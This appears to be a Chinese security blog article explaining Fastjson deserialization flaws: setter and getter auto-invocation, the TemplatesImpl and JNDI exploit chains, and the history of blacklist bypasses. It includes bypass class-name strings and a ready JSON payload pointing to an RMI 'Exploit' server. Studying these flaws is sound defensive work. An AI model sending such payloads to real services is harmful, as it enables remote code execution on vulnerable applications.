fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了 AutoType
开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。 所以在开发中应严格控制 AutoType
开关,保持fastjson为最新版本。
首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的 readObject()
,在序列化反序列化的时候会进行一些操作,主要是 setter
和 getter
的操作,从而结合一些类的特性造成命令执行。
先创建一个实体类User:
package fastjsontest; import com.alibaba.fastjson.JSON; import java.util.Properties; public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age = age; } public Boolean getSex(){ System.out.println("getGrade() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public String toString(){ String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } public static void main(String[] args){ String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(jsonstr, User.class); System.out.println(obj); } }
其中包括:
运行结果
User() is called setAge() is called getProp() is called [User Object] name=Tom, age=13, prop=null, sex=null Process finished with exit code 0
根据结果可以看出:
getter
和 setter
的自动调用中 重点关注后两条, sex
和 prop
都为 private
变量, prop
的 getter
被调用, sex
的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。
getter
进行调用 getter
没有 setter
Properties
继承于 Hashtable
, Hashtable
又继承于 Map
,满足所有条件,因此可被调用。
public Properties getProp()
中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞 反序列化的时候私有变量 sex
因为没有 setter
没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定 Feature.SupportNonPublicField
测试代码改为:
public static void main(String[] args){ String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField); System.out.println(obj); }
便可将私有变量进行反序列化。
可以看到,测试代码在反序列化的时候指定了 User.class
类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?
public static void main(String[] args){ String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField); System.out.println(obj); }
Output:
虽然没指定类型,但是也成功调用了相关的方法。
String
和 Integer
等常见类型发现可以成功调用相关方法
public static void main(String[] args){ String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField); System.out.println(obj); }
但是指定的一些其他类型时不能成功调用,如 Runtime
public static void main(String[] args){ String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}"; Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField); System.out.println(obj); }
这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。
这部分显得有点麻烦,开发在写代码的时候很多时候也不会用 parseObject
,而是 parse
一把梭, parse
相对于 parseObject
便会自动处理这些东西。
官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类,看 TemplatesImpl
类的 _outputProperties
变量和 getOutputProperties()
函数,完全满足前面说的自动调用的条件。
然后 getOutputProperties()
的后续可以通过类定义的方式执行任意代码,详情请见 defineClass在java反序列化当中的利用
POC构造文章请参考
fastjson 远程反序列化poc的构造和分析
可能会发出的疑问:
_outputProperties
为什么会和 getOutputProperties()
相关联? _bytecodes
进行Base64编码? FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链
_tfactory
赋值?第一篇文章有讲 _name
赋值? 后面的过程会判断 _name
是否有值。
2017看雪安全开发峰会上有人提出基于 JNDI
构造POC利用:
基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
该POC利用的是 setter
函数,上面的测试代码可以看出,所有的 setter
函数被调用,所以 基于 JNDI
的利用相对于前者基本没有任何局限,直接 JSON.parse(input)
便可造成漏洞
造成命令执行:
默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下
方式:
Lcom.sun.rowset.RowSetImpl;
原因:
loadClass
递归去除开头的 L
和结尾的 ;
,并且是在黑名单检测之后。
修复补丁绕过,去除开头的 L
和结尾的 ;
,无用补丁,再次被绕过
黑名单改为hash模式
可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
方式:
LLcom.sun.rowset.RowSetImpl;;
原因:
V1.2.42补丁不生效
出现 LL
开头 ;;
结尾抛出异常然后去除开头的 L
和结尾的 ;
补丁生效
方式:
[com.sun.rowset.RowSetImpl
和 Lcom.sun.rowset.RowSetImpl;
其实是一样的,看前面 loadClass
的代码,不止处理了 Lxxxx;
格式数据,还处理的 [
开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。
比较暴力,出现相关字符直接抛出异常。
POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
原因:
黑名单被绕过
扩大很名单
一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。
可能被绕过的方式: